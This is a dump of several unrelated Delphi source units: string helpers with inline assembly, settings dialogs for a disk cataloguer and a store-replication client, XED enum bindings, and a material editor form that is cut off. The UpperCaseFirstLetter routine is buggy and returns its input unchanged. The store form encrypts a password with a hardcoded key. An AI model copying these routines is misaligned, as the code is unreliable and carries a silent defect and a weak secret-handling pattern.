property CaseSencetive: Boolean read FCaseSencetive write FCaseSencetive;
end;
procedure SplitString(Str: string; SplitChar: Char; List: TStrings);
function JoinList(List: TStrings; JoinString: string): string;
function ConvertUniversalFloatToLocal(s: string): string;
function PosExS(SubStr: string; const Str: string; Index: Integer = 1): Integer;
function PosExW(const SubStr, S: string; Offset, MaxPos: Integer): Integer; overload;
function Right(Str: string; P: Integer): string;
function Mid(Str: string; S, E: Integer): string;
function Left(Str: string; P: Integer): string;
function UpperCaseFirstLetter(S: string): string;
function NotEmptyString(S1, S2: string): string;
function AnsiCompareTextWithNum(Text1, Text2: string): Integer;
implementation
function NotEmptyString(S1, S2: string): string;
begin
if S1 <> '' then
Result := S1
else
Result := S2;
end;
function UpperCaseFirstLetter(S: string): string;
begin
Result := S;
if Length(S) > 0 then
S[1] := UpCase(S[1]);
end;
function Left(Str: string; P: Integer): string;
begin
if P > Length(Str) then
Result := Str
else
Result := Copy(Str, 1, P);
end;
function Right(Str: string; P: Integer): string;
begin
if P > Length(Str) then
Result := ''
else
Result := Copy(Str, P, Length(Str) - P + 1);
end;
function Mid(Str: string; S, E: Integer): string;
begin
if (S > E) then
begin
Result := '';
Exit;
end;
if (S < 1) then
S := 1;
if E > Length(Str) then
E := Length(Str);
Result := Copy(Str, S, E - S + 1);
end;
procedure SplitString(Str: string; SplitChar: Char; List: TStrings);
var
I, P: Integer;
StrTemp: string;
begin
P := 1;
List.Clear;
for I := 1 to Length(Str) do
if (Str[I] = SplitChar) or (I = Length(Str)) then
begin
if I = Length(Str) then
StrTemp := Copy(Str, P, I - P + 1)
else
StrTemp := Copy(Str, P, I - P);
List.Add(StrTemp);
P := I + 1;
end;
end;
function ConvertUniversalFloatToLocal(S: string): string;
var
I: Integer;
begin
Result := s;
for I := 1 to Length(Result) do
if Result[I] = '.' then
Result[I] := FormatSettings.DecimalSeparator;
end;
function PosExWX(const SubStr, S: string; Options: TStringFindOptions): Integer;
{$IFDEF CPUX86}
asm
test eax, eax
jz @Nil
test edx, edx
jz @Nil
//ecx is pointer to options array, this check was moved to PosExW function
//dec ecx
//jl @Nil
push esi
push ebx
push 0
push 0
mov esi,ecx
cmp word ptr [eax-10],2
je @substrisunicode
push edx
mov edx, eax
lea eax, [esp+4]
call System.@UStrFromLStr
pop edx
mov eax, [esp]
@substrisunicode:
cmp word ptr [edx-10],2
je @strisunicode
push eax
lea eax,[esp+8]
call System.@UStrFromLStr
pop eax
mov edx, [esp+4]
@strisunicode:
mov ecx, [esi] //Offset
mov esi, [esi+4] //MaxPos
mov ebx, [eax-4] //Length(Substr)
sub esi, ecx //effective length of Str
shl ecx, 1 //double count of offset due to being wide char
add edx, ecx //addr of the first char at starting position
cmp esi, ebx
jl @Past //jump if EffectiveLength(Str)<Length(Substr)
test ebx, ebx
jle @Past //jump if Length(Substr)<=0
add esp, -12
add ebx, -1 //Length(Substr)-1
shl esi,1 //double it due to being wide char
add esi, edx //addr of the terminator
shl ebx,1 //double it due to being wide char
add edx, ebx //addr of the last char at starting position
mov [esp+8], esi //save addr of the terminator
add eax, ebx //addr of the last char of Substr
sub ecx, edx //-@Str[Length(Substr)]
neg ebx //-(Length(Substr)-1)
mov [esp+4], ecx //save -@Str[Length(Substr)]
mov [esp], ebx //save -(Length(Substr)-1)
movzx ecx, word ptr [eax] //the last char of Substr
@Loop:
cmp cx, [edx]
jz @Test0
@AfterTest0:
cmp cx, [edx+2]
jz @TestT
@AfterTestT:
add edx, 8
cmp edx, [esp+8]
jb @Continue
@EndLoop:
add edx, -4
cmp edx, [esp+8]
jb @Loop
@Exit:
add esp, 12
@Past:
mov eax, [esp]
or eax, [esp+4]
jz @PastNoClear
mov eax, esp
mov edx, 2
call System.@UStrArrayClr
@PastNoClear:
add esp, 8
pop ebx
pop esi
@Nil:
xor eax, eax
ret
@Continue:
cmp cx, [edx-4]
jz @Test2
cmp cx, [edx-2]
jnz @Loop
@Test1:
add edx, 2
@Test2:
add edx, -4
@Test0:
add edx, -2
@TestT:
mov esi, [esp]
test esi, esi
jz @Found
@String:
mov ebx, [esi+eax]
cmp ebx, [esi+edx+2]
jnz @AfterTestT
cmp esi, -4
jge @Found
mov ebx, [esi+eax+4]
cmp ebx, [esi+edx+6]
jnz @AfterTestT
add esi, 8
jl @String
@Found:
mov eax, [esp+4]
add edx, 4
cmp edx, [esp+8]
ja @Exit
add esp, 12
mov ecx, [esp]
or ecx, [esp+4]
jz @NoClear
mov ebx, eax
mov esi, edx
mov eax, esp
mov edx, 2
call System.@UStrArrayClr
mov eax, ebx
mov edx, esi
@NoClear:
add eax, edx
shr eax, 1 // divide by 2 to make an index
add esp, 8
pop ebx
pop esi
{$ENDIF CPUX86}
{$IFDEF CPUX64}
begin
Result := PosEx(SubStr, Copy(S, 1, Options[1]), Options[0]);
{$ENDIF CPUX64}
end;
function PosExW(const SubStr, S: string; Offset, MaxPos: Integer): Integer;
var
Option: TStringFindOptions;
begin
if Offset < 1 then
Exit(0);
Option[0] := Offset - 1;
Option[1] := MaxPos;
Result := PosExWX(SubStr, S, Option);
end;
function PosExS(SubStr: string; const Str: string; Index: Integer = 1): Integer;
var
I, N, NS, LS: Integer;
Q: Boolean;
C, FS: Char;
OneChar: Boolean;
PS, PSup: PChar;
function IsSubStr: Boolean;
var
K: Integer;
APS: PChar;
APSub: PChar;
begin
NativeUInt(APS) := NativeUInt(PS);
NativeUInt(APSub) := NativeUInt(PSup);
for K := 1 to LS do
begin
if APS^ <> APSub^ then
begin
Result := False;
Exit;
end;
Inc(APS, 1);
Inc(APSub, 1);
end;
Result := True;
end;
begin
if (Index < 1) or (Length(Str) = 0) then
begin
Result := 0;
Exit;
end;
if Length(SubStr) = 0 then
begin
Result := Index;
Exit;
end;
n := 0;
ns := 0;
FS := #0;
q := False;
Result := 0;
LS := Length(SubStr);
OneChar := LS = 1;
if OneChar then
FS := SubStr[1]
else
PSup := PChar(Addr(SubStr[1]));
PS := PChar(Addr(Str[1]));
Inc(PS, Index - 2);
for I := Index to Length(Str) + 1 - LS do
begin
Inc(PS, 1);
if OneChar then
begin
C := PS^;
if (C = FS) and (n = 0) and (ns = 0) and (not q) then
begin
Result := I;
exit;
end;
end else
begin
if IsSubStr and (n = 0) and (ns = 0) and (not q) then
begin
Result := I;
exit;
end;
C := PS^;
end;
if (C = '"') then
begin
q := not q;
Continue;
end;
if I = index then
continue;
if (not q) then
begin
if (C = '{') then
begin
Inc(n);
end else if (C = '}') and (n > 0) then
begin
Dec(n);
if n = 0 then
Continue;
end else if (C = '(') then
begin
Inc(ns);
end else if (C = ')') and (ns > 0) then
begin
Dec(ns);
if ns = 0 then
Continue;
end;
if (n = 0) and (ns = 0) then
begin
if OneChar then
begin
if (C = FS) then
begin
Result := I;
exit;
end;
end else
begin
if IsSubStr then
begin
Result := I;
exit;
end;
end;
end;
end;
end;
end;
function JoinList(List: TStrings; JoinString: string): string;
var
I: Integer;
begin
Result := '';
for I := 0 to List.Count - 1 do
begin
if I <> 0 then
Result := Result + JoinString;
Result := Result + List[I];
end;
end;
{ TStringsHelper }
procedure TStringsHelper.AddRange(Range: TArray<string>);
var
S: string;
begin
for S in Range do
Add(S);
end;
function TStringsHelper.Join(JoinString: string): string;
begin
Result := JoinList(Self, JoinString);
end;
procedure TStringsHelper.Remove(Value: string; CaseSensetive: Boolean);
var
I: Integer;
S: string;
begin
if not CaseSensetive then
Value := AnsiLowerCase(Value);
for I := Count - 1 downto 0 do
begin
S := Self[I];
if not CaseSensetive then
S := AnsiLowerCase(S);
if S = Value then
Delete(I);
end;
end;
procedure TStringReplacer.AddPattern(SubPattern, Value: string);
var
Item: TStringReplaceItem;
begin
Item := TStringReplaceItem.Create;
Item.SubPattern := SubPattern;
Item.Value := Value;
FList.Add(Item);
end;
constructor TStringReplacer.Create(Pattern: string);
begin
FPattern := Pattern;
FCaseSencetive := False;
FList := TList<TStringReplaceItem>.Create;
end;
destructor TStringReplacer.Destroy;
begin
FreeList(FList);
inherited;
end;
function TStringReplacer.GetResult: string;
var
NextFound: Boolean;
I, Increment: Integer;
P: Integer;
RI: TStringReplaceItem;
FUpperPattern: string;
FUpperSubPattern: string;
Founds: TList<TStringReplaceItemFoundResult>;
FR: TStringReplaceItemFoundResult;
begin
Founds := TList<TStringReplaceItemFoundResult>.Create;
try
FUpperPattern := IIF(FCaseSencetive, FPattern, AnsiUpperCase(FPattern));
//loop throw all patterns
for RI in FList do
begin
FUpperSubPattern := IIF(FCaseSencetive, RI.SubPattern, AnsiUpperCase(RI.SubPattern));
P := 1;
while P > 0 do
begin
P := PosEx(FUpperSubPattern, FUpperPattern, P);
if P > 0 then
begin
//check if this place is free
NextFound := False;
for I := 0 to Founds.Count - 1 do
begin
if (Founds[I].StartPos <= P) and (P <= Founds[I].StartPos + Length(Founds[I].SubPattern)) then
begin
NextFound := True;
Break;
end;
end;
if NextFound then
begin
Inc(P, Length(FUpperSubPattern));
Continue;
end;
FR := TStringReplaceItemFoundResult.Create;
FR.SubPattern := RI.SubPattern;
FR.Value := RI.Value;
FR.StartPos := P;
Founds.Add(FR);
Inc(P, Length(FUpperSubPattern));
end;
end;
end;
Result := FPattern;
//replace founds
for FR in Founds do
begin
Delete(Result, FR.StartPos, Length(FR.SubPattern));
Insert(FR.Value, Result, FR.StartPos);
Increment := Length(FR.Value) - Length(FR.SubPattern);
if Increment <> 0 then
begin
for I := 0 to Founds.Count - 1 do
begin
if Founds[I].StartPos > FR.StartPos then
Founds[I].StartPos := Founds[I].StartPos + Increment;
end;
end;
end;
finally
FreeList(Founds);
end;
end;
function AnsiCompareTextWithNum(Text1, Text2: string): Integer;
var
S1, S2: string;
function Num(Str: string): Boolean;
var
I: Integer;
begin
Result := True;
for I := 1 to Length(Str) do
begin
if not CharInSet(Str[I], ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']) then
begin
Result := False;
Break;
end;
end;
end;
function TrimNum(Str: string): string;
var
I: Integer;
begin
Result := Str;
if Result <> '' then
for I := 1 to Length(Result) do
begin
if CharInSet(Result[I], ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']) then
begin
Delete(Result, 1, I - 1);
Break;
end;
end;
for I := 1 to Length(Result) do
begin
if not CharInSet(Result[I], ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']) then
begin
Result := Copy(Result, 1, I - 1);
Break;
end;
end;
if Result = '' then
Result := Str;
end;
begin
S1 := TrimNum(Text1);
S2 := TrimNum(Text2);
if Num(S1) or Num(S2) then
begin
Result := StrToIntDef(S1, 0) - StrToIntDef(S2, 0);
Exit;
end;
Result := AnsiCompareStr(Text1, Text2);
end;
end.
|
unit FLocalOptions;
(*====================================================================
Dialog box for Loocal Options - which are individual for the database.
The values set are put to the LocalOptions structure
======================================================================*)
interface
uses
SysUtils,
{$ifdef mswindows}
Windows
{$ELSE}
LCLIntf, LCLType, LMessages,
{$ENDIF}
Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, ExtCtrls, Grids, Spin, {TabNotBk,}
UTypes, UApiTypes
{$ifndef DELPHI1}
, ComCtrls
{$endif}
;
type
TFormLocalOptions = class(TForm)
///TabbedNotebook: TTabbedNotebook;
TabbedNotebook: TPageControl;
Page1: TTabSheet;
Page2: TTabSheet;
Page3: TTabSheet;
CheckBoxScanDesc: TCheckBox;
Label2: TLabel;
EditNewFileName: TEdit;
Label1: TLabel;
SpinEditMaxDescrSize: TSpinEdit;
Label3: TLabel;
ComboBoxConv: TComboBox;
ButtonDiscard: TButton;
ButtonAdd: TButton;
StringGridMasks: TStringGrid;
CheckBoxOverwriteWarning: TCheckBox;
ButtonOK: TButton;
ButtonCancel: TButton;
CheckBoxShowDeleted: TCheckBox;
ButtonHelp: TButton;
CheckBoxSimulateDiskInfo: TCheckBox;
RadioGroupScanArchives: TRadioGroup;
CheckBoxScanZipExeArchives: TCheckBox;
CheckBoxScanOtherExeArchives: TCheckBox;
CheckBoxAlwaysRescanArchives: TCheckBox;
CheckBoxExtractFromZips: TCheckBox;
CheckBoxDisableVolNameChange: TCheckBox;
EditDiskNamePattern: TEdit;
CheckBoxImportFilesBbs: TCheckBox;
CheckBoxGenerateFolderDesc: TCheckBox;
Label5: TLabel;
ButtonResetCounter: TButton;
CheckBoxAlwaysCreateDesc: TCheckBox;
CheckBoxExtractFromRars: TCheckBox;
CheckBoxExtractFromAces: TCheckBox;
Label6: TLabel;
SpinEditSizeLimit: TSpinEdit;
procedure StringGridMasksRowMoved(Sender: TObject; FromIndex,
ToIndex: Longint);
procedure StringGridMasksKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure ButtonDiscardClick(Sender: TObject);
procedure CheckBoxScanDescClick(Sender: TObject);
procedure RadioGroupScanArchivesClick(Sender: TObject);
procedure ButtonAddClick(Sender: TObject);
procedure ButtonOKClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure ButtonCancelClick(Sender: TObject);
procedure ButtonHelpClick(Sender: TObject);
procedure ButtonResetCounterClick(Sender: TObject);
private
SaveOptions : TLocalOptions;
m_DiskCounter: word;
procedure DeleteRow(TheRow: Integer);
public
procedure SetOptions(var LocalOptions: TLocalOptions);
procedure GetOptions(var LocalOptions: TLocalOptions);
procedure SetDLList (ConvertDLLs: TStringList);
procedure DefaultHandler(var Message); override;
end;
var
FormLocalOptions: TFormLocalOptions;
implementation
uses UBaseUtils, ULang, FSettings;
{$R *.dfm}
//---------------------------------------------------------------------------
procedure TFormLocalOptions.StringGridMasksRowMoved(Sender: TObject;
FromIndex, ToIndex: Longint);
var
i: Integer;
begin
with StringGridMasks do
begin
for i := 1 to pred(RowCount) do
Cells[0, i] := ' ' + IntToStr(i);
end;
end;
//---------------------------------------------------------------------------
procedure TFormLocalOptions.StringGridMasksKeyDown(Sender: TObject;
var Key: Word; Shift: TShiftState);
begin
if Key = VK_DELETE then DeleteRow(StringGridMasks.Row);
end;
//---------------------------------------------------------------------------
procedure TFormLocalOptions.DeleteRow(TheRow: Integer);
var
i : Integer;
begin
with StringGridMasks do
begin
for i := succ(TheRow) to pred(RowCount) do
begin
Cells[1, i-1] := Cells[1, i];
Cells[2, i-1] := Cells[2, i];
Cells[3, i-1] := Cells[3, i];
end;
Cells[1, pred(RowCount)] := '';
Cells[2, pred(RowCount)] := '';
Cells[3, pred(RowCount)] := '';
end;
end;
//---------------------------------------------------------------------------
procedure TFormLocalOptions.ButtonDiscardClick(Sender: TObject);
var
i : Integer;
S : ShortString;
begin
with StringGridMasks do
begin
EditNewFileName.Text := Cells[1, Row];
if Cells[2, Row] <> '' then
SpinEditMaxDescrSize.Value := StrToInt(Cells[2, Row]);
S := Cells[3, Row];
if S <> '' then
begin
ComboBoxConv.Text := ComboBoxConv.Items[0];
for i := 0 to pred(ComboBoxConv.Items.Count) do
if ShortCopy(S, 1, 1) = ShortCopy(ComboBoxConv.Items[i], 1, 1) then
begin
ComboBoxConv.Text := ComboBoxConv.Items[i];
break;
end;
end;
DeleteRow(Row);
end;
ActiveControl := EditNewFileName;
end;
//---------------------------------------------------------------------------
procedure TFormLocalOptions.CheckBoxScanDescClick(Sender: TObject);
begin
if CheckBoxScanDesc.Checked
then
begin
StringGridMasks.Enabled := true;
EditNewFileName.Enabled := true;
SpinEditMaxDescrSize.Enabled := true;
ComboBoxConv.Enabled := true;
end
else
begin
StringGridMasks.Enabled := false;
EditNewFileName.Enabled := false;
SpinEditMaxDescrSize.Enabled := false;
ComboBoxConv.Enabled := false;
end;
end;
//---------------------------------------------------------------------------
procedure TFormLocalOptions.RadioGroupScanArchivesClick(Sender: TObject);
var Enable: boolean;
begin
Enable := RadioGroupScanArchives.ItemIndex <> 2;
CheckBoxScanZipExeArchives.Enabled := Enable;
CheckBoxScanOtherExeArchives.Enabled := Enable;
CheckBoxAlwaysRescanArchives.Enabled := Enable;
CheckBoxExtractFromZips.Enabled := Enable;
CheckBoxExtractFromRars.Enabled := Enable;
CheckBoxExtractFromAces.Enabled := Enable;
SpinEditSizeLimit.Enabled := Enable;
end;
//---------------------------------------------------------------------------
procedure TFormLocalOptions.ButtonAddClick(Sender: TObject);
var
Ch: string[2];
i, j : Integer;
begin
if EditNewFileName.Text <> '' then
with StringGridMasks do
begin
if (Cells[1, pred(RowCount)] <> '') then exit; {je plno}
for i := 1 to Row do
if (Cells[1, i] = '') or (i = Row) then
begin
if i = Row then
begin
for j := pred(RowCount) downto succ(Row) do
begin
Cells[1, j] := Cells[1, j-1];
Cells[2, j] := Cells[2, j-1];
Cells[3, j] := Cells[3, j-1];
end;
Cells[1, i] := '';
Cells[2, i] := '';
Cells[3, i] := '';
end;
Cells[1, i] := RemoveRedundSpaces(EditNewFileName.Text);
Cells[2, i] := IntToStr(SpinEditMaxDescrSize.Value);
Ch := ShortCopy(ComboBoxConv.Text, 1, 1);
if Ch <> '(' then Cells[3, i] := ComboBoxConv.Text;
break;
end;
end;
ActiveControl := EditNewFileName;
EditNewFileName.Text := '';
end;
//---------------------------------------------------------------------------
procedure TFormLocalOptions.ButtonOKClick(Sender: TObject);
begin
ModalResult := mrOK;
end;
//---------------------------------------------------------------------------
procedure TFormLocalOptions.FormCreate(Sender: TObject);
var
i : Integer;
begin
m_DiskCounter := 1;
with StringGridMasks do
begin
DefaultRowHeight := Canvas.TextHeight('My')+4;
Cells[1, 0] := lsMask;
Cells[2, 0] := lskB;
Cells[3, 0] := lsDLL;
for i := 1 to pred(RowCount) do
Cells[0, i] := ' ' + IntToStr(i);
end;
{$ifdef DELPHI1}
CheckBoxDisableVolNameChange.Visible := false;
{$endif}
TabbedNotebook.ActivePage := TabbedNotebook.Pages[0];
end;
//---------------------------------------------------------------------------
procedure TFormLocalOptions.SetOptions(var LocalOptions: TLocalOptions);
var
i, TmpInt: Integer;
Mask, kBytes, CodeConv: ShortString;
MaskCount: Integer;
begin
with LocalOptions do
begin
CheckBoxShowDeleted.Checked := ShowDeleted;
CheckBoxSimulateDiskInfo.Checked := SimulateDiskInfo;
CheckBoxAlwaysCreateDesc.Checked := AlwaysCreateDesc;
CheckBoxScanZipExeArchives.Checked := ScanZipExeArchives;
CheckBoxScanOtherExeArchives.Checked := ScanOtherExeArchives;
CheckBoxAlwaysRescanArchives.Checked := AlwaysRescanArchives;
CheckBoxExtractFromZips.Checked := ExtractFromZips;
CheckBoxExtractFromRars.Checked := ExtractFromRars;
CheckBoxExtractFromAces.Checked := ExtractFromAces;
if (ExtractSizeLimit > 0) then
SpinEditSizeLimit.Value := ExtractSizeLimit;
RadioGroupScanArchives.ItemIndex := Integer(ScanArchives);
CheckBoxScanDesc.Checked := ScanDesc;
CheckBoxOverwriteWarning.Checked := OverwriteWarning;
CheckBoxDisableVolNameChange.Checked := DisableVolNameChange;
EditDiskNamePattern.Text := DiskNamePattern;
m_DiskCounter := DiskCounter;
CheckBoxGenerateFolderDesc.Checked := GenerateFolderDesc;
CheckBoxImportFilesBbs.Checked := ImportFilesBbs;
for i := 1 to pred(StringGridMasks.RowCount) do
begin
StringGridMasks.Cells[1, i] := '';
StringGridMasks.Cells[2, i] := '';
StringGridMasks.Cells[3, i] := '';
end;
i := 0;
MaskCount := 0;
while AllMasksArray[i] <> #0 do
begin
Mask := '';
while (AllMasksArray[i] <> '|') and (AllMasksArray[i] <> #0) do
begin
Mask := Mask + AllMasksArray[i];
inc(i);
end;
if (AllMasksArray[i] <> #0) then inc(i);
kBytes := '';
while (AllMasksArray[i] <> '|') and (AllMasksArray[i] <> #0) do
begin
kBytes := kBytes + AllMasksArray[i];
inc(i);
end;
if (AllMasksArray[i] <> #0) then inc(i);
CodeConv := '';
while (AllMasksArray[i] <> '|') and (AllMasksArray[i] <> #0) do
begin
CodeConv := CodeConv + AllMasksArray[i];
inc(i);
end;
if (AllMasksArray[i] <> #0) then inc(i);
inc(MaskCount);
with StringGridMasks do
begin
Cells[1,MaskCount] := Mask;
TmpInt := StrToInt(kBytes);
if TmpInt < 100 then kBytes := IntToStr(TmpInt * 1000);
// relict, from the time there were kB here, now bytes are used
Cells[2,MaskCount] := kBytes;
Cells[3,MaskCount] := CodeConv;
end;
end; {while}
end; {with Local Options}
end;
//---------------------------------------------------------------------------
procedure TFormLocalOptions.GetOptions(var LocalOptions: TLocalOptions);
var
i: Integer;
PS: array[0..255] of char;
S : ShortString;
begin
with LocalOptions do
begin
ShowDeleted := CheckBoxShowDeleted.Checked;
SimulateDiskInfo := CheckBoxSimulateDiskInfo.Checked;
AlwaysCreateDesc := CheckBoxAlwaysCreateDesc.Checked;
ScanZipExeArchives := CheckBoxScanZipExeArchives.Checked;
AlwaysRescanArchives := CheckBoxAlwaysRescanArchives.Checked;
ExtractFromZips := CheckBoxExtractFromZips.Checked;
ExtractFromRars := CheckBoxExtractFromRars.Checked;
ExtractFromAces := CheckBoxExtractFromAces.Checked;
ExtractSizeLimit := SpinEditSizeLimit.Value;
ScanOtherExeArchives := CheckBoxScanOtherExeArchives.Checked;
ScanArchives := TScan(RadioGroupScanArchives.ItemIndex);
ScanCPB := cfNoScan;
ScanDesc := CheckBoxScanDesc.Checked;
OverwriteWarning := CheckBoxOverwriteWarning.Checked;
DisableVolNameChange := CheckBoxDisableVolNameChange.Checked;
DiskNamePattern := TrimSpaces(EditDiskNamePattern.Text);
DiskCounter := m_DiskCounter;
GenerateFolderDesc := CheckBoxGenerateFolderDesc.Checked;
ImportFilesBbs := CheckBoxImportFilesBbs.Checked;
AllMasksArray[0] := #0;
with StringGridMasks do
for i := 1 to pred(RowCount) do
if Cells[1,i] <> '' then
begin
S := Cells[1,i]+'|'+Cells[2,i]+'|'+Cells[3,i] + '|';
StrCat(AllMasksArray, StrPCopy(PS, S));
end;
end;
end;
//---------------------------------------------------------------------------
procedure TFormLocalOptions.FormShow(Sender: TObject);
begin
GetOptions(SaveOptions);
RadioGroupScanArchivesClick(Sender);
ActiveControl := ButtonOK;
end;
//---------------------------------------------------------------------------
procedure TFormLocalOptions.ButtonCancelClick(Sender: TObject);
begin
SetOptions(SaveOptions);
ModalResult := mrCancel;
end;
//---------------------------------------------------------------------------
// set the list of all filters
procedure TFormLocalOptions.SetDLList (ConvertDLLs: TStringList);
var
SaveStr: ShortString;
i : Integer;
begin
SaveStr := ComboBoxConv.Items[0];
ComboBoxConv.Items.Clear;
ComboBoxConv.Items.Add(SaveStr);
for i := 1 to ConvertDLLs.Count do
ComboBoxConv.Items.Add(ConvertDLLs.Strings[pred(i)]);
end;
//---------------------------------------------------------------------------
procedure TFormLocalOptions.ButtonHelpClick(Sender: TObject);
begin
Application.HelpContext(300);
end;
//---------------------------------------------------------------------------
procedure TFormLocalOptions.ButtonResetCounterClick(Sender: TObject);
begin
m_DiskCounter := 0;
end;
//-----------------------------------------------------------------------------
// Disables CD AutoRun feature - Windows send the message QueryCancelAutoPlay
// to the top window, so we must have this handler in all forms.
procedure TFormLocalOptions.DefaultHandler(var Message);
begin
with TMessage(Message) do
if (Msg = g_CommonOptions.dwQueryCancelAutoPlay) and
g_CommonOptions.bDisableCdAutorun
then
Result := 1
else
inherited DefaultHandler(Message)
end;
//---------------------------------------------------------------------------
end.
|
unit XED.OperandActionEnum;
{$Z4}
interface
type
TXED_Operand_Action_Enum = (
XED_OPERAND_ACTION_INVALID,
XED_OPERAND_ACTION_RW, ///< Read and written (must write)
XED_OPERAND_ACTION_R, ///< Read-only
XED_OPERAND_ACTION_W, ///< Write-only (must write)
XED_OPERAND_ACTION_RCW, ///< Read and conditionlly written (may write)
XED_OPERAND_ACTION_CW, ///< Conditionlly written (may write)
XED_OPERAND_ACTION_CRW, ///< Conditionlly read, always written (must write)
XED_OPERAND_ACTION_CR, ///< Conditional read
XED_OPERAND_ACTION_LAST);
/// This converts strings to #xed_operand_action_enum_t types.
/// @param s A C-string.
/// @return #xed_operand_action_enum_t
/// @ingroup ENUM
function str2xed_operand_action_enum_t(s: PAnsiChar): TXED_Operand_Action_Enum; cdecl; external 'xed.dll';
/// This converts strings to #xed_operand_action_enum_t types.
/// @param p An enumeration element of type xed_operand_action_enum_t.
/// @return string
/// @ingroup ENUM
function xed_operand_action_enum_t2str(const p: TXED_Operand_Action_Enum): PAnsiChar; cdecl; external 'xed.dll';
/// Returns the last element of the enumeration
/// @return xed_operand_action_enum_t The last element of the enumeration.
/// @ingroup ENUM
function xed_operand_action_enum_t_last:TXED_Operand_Action_Enum;cdecl; external 'xed.dll';
implementation
end.
|
unit uFrmStoreType;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons, ExtCtrls, uSystemConst, siComp;
type
TFrmStoreType = class(TForm)
Panel1: TPanel;
Bevel1: TBevel;
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
GroupBox2: TGroupBox;
Image3: TImage;
Bevel4: TBevel;
Label10: TLabel;
Label11: TLabel;
Bevel5: TBevel;
Image4: TImage;
Label8: TLabel;
Label9: TLabel;
Label12: TLabel;
Label13: TLabel;
Label14: TLabel;
edtRepliSince: TEdit;
cmxConnection: TComboBox;
edtDisconectTime: TEdit;
edtPackSize: TEdit;
Image1: TImage;
Bevel2: TBevel;
Label1: TLabel;
edtCliente: TEdit;
Label2: TLabel;
edtStore: TEdit;
Label3: TLabel;
edtPW: TEdit;
Label4: TLabel;
edtVersion: TEdit;
siLang: TsiLang;
lblDefaulStore: TLabel;
edtDefaultStore: TEdit;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure cmxConnectionChange(Sender: TObject);
private
{ Private declarations }
procedure GetStoreType;
procedure SetStoreType;
procedure EnableServeType;
public
{ Public declarations }
function Start:Boolean;
end;
implementation
uses uDMClient, uMainConf, ADODB, uEncryptFunctions, uParamFunctions,
{URepSocketConsts,} DB, uDMGlobal;
{$R *.dfm}
procedure TFrmStoreType.EnableServeType;
begin
Case cmxConnection.ItemIndex of
0 : begin //Dial Up
edtDisconectTime.Text := '10';
edtPackSize.Text := '1024';
edtDisconectTime.Enabled := False;
edtPackSize.Enabled := False;
end;
1 : begin //DSL
edtDisconectTime.Text := '5';
edtPackSize.Text := '4096';
edtDisconectTime.Enabled := False;
edtPackSize.Enabled := False;
end;
2 : begin //Other
edtDisconectTime.Enabled := True;
edtPackSize.Enabled := True;
end;
end;
end;
procedure TFrmStoreType.SetStoreType;
var
sConnection : String;
begin
FrmMain.fIniConfig.WriteString('ServerConnection','ConnectionTimeOut', edtDisconectTime.Text);
FrmMain.fIniConfig.WriteInteger('ServerConnection','PacketSize', StrToIntDef(edtPackSize.Text,1024));
FrmMain.fIniConfig.WriteInteger('ServerConnection','ConnectType', cmxConnection.ItemIndex);
FrmMain.fIniConfig.WriteString('ServerConnection','ReplicateSince', edtRepliSince.Text);
sConnection := CI_NOMECLIENTE + edtCliente.Text + ';' +
CI_NOMELOJA + edtStore.Text + ';' +
CI_SENHA + edtPW.Text + ';' +
CI_VERSAO + edtVersion.Text + ';' +
CI_PACKETSIZE + edtPackSize.Text + ';';
sConnection := EncodeServerInfo(sConnection, 'NetCon', CIPHER_TEXT_STEALING, FMT_XX);
FrmMain.fIniConfig.WriteString('ServerConnection','ClientInfo', sConnection);
FrmMain.fIniConfig.WriteString('Local','IDDefaultStore', edtDefaultStore.Text);
FrmMain.LoadParamServerConnection;
end;
procedure TFrmStoreType.GetStoreType;
var
sConnection : String;
begin
edtRepliSince.Text := IntToStr(FrmMain.fServerConnection.ReplicateSince);
edtDisconectTime.Text := IntToStr(FrmMain.fServerConnection.ConnectionTimeOut);
cmxConnection.ItemIndex := FrmMain.fServerConnection.ConnectType;
edtPackSize.Text := IntToStr(FrmMain.fServerConnection.PacketSize);
edtDefaultStore.Text := IntToStr(FrmMain.fJobParam.DefaultStore);
sConnection := DecodeServerInfo(FrmMain.fServerConnection.ClientInfo, 'NetCon', CIPHER_TEXT_STEALING, FMT_XX);
edtCliente.Text := ParseParam(sConnection, CI_NOMECLIENTE);
edtStore.Text := ParseParam(sConnection, CI_NOMELOJA);
edtPW.Text := ParseParam(sConnection, CI_SENHA);
edtVersion.Text := DMClient.GetClientVersion;
EnableServeType;
end;
function TFrmStoreType.Start:Boolean;
begin
GetStoreType;
ShowModal;
Result := (ModalResult=mrOK);
if Result then
SetStoreType;
end;
procedure TFrmStoreType.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
Action := caFree;
end;
procedure TFrmStoreType.cmxConnectionChange(Sender: TObject);
begin
EnableServeType;
end;
end.
|
unit GLDMaterialEditorForm;
interface
uses
Classes, Graphics, Controls, Forms, ComCtrls, ExtCtrls, StdCtrls, Buttons,
GL, GLDTypes, GLDViewer, GLDSystem;
type
TGLDMaterialEditorForm = class(TForm)
SB_Materials: TScrollBar;
SB_Associate: TSpeedButton;
SB_DeleteAssociation: TSpeedButton;
SB_NewMaterial: TSpeedButton;
SB_DeleteMaterial: TSpeedButton;
SB_DeleteAll: TSpeedButton;
L_Name: TLabel;
L_Ambient: TLabel;
L_Diffuse: TLabel;
L_Specular: TLabel;
L_Emission: TLabel;
L_Shininess: TLabel;
E_Name: TEdit;
S_Ambient: TShape;
S_Diffuse: TShape;
S_Specular: TShape;
S_Emission: TShape;
E_Shininess: TEdit;
UD_Shininess: TUpDown;
GB_Materials: TGroupBox;
MaterialViewer: TGLDViewer;
procedure SpeedButtonClick(Sender: TObject);
procedure MaterialViewerMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
procedure NameChange(Sender: TObject);
procedure ColorChange(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
procedure UD_ShininessChanging(Sender: TObject;
var AllowChange: Boolean);
procedure Render(Sender: TObject);
procedure E_ShininessChange(Sender: TObject);
protected
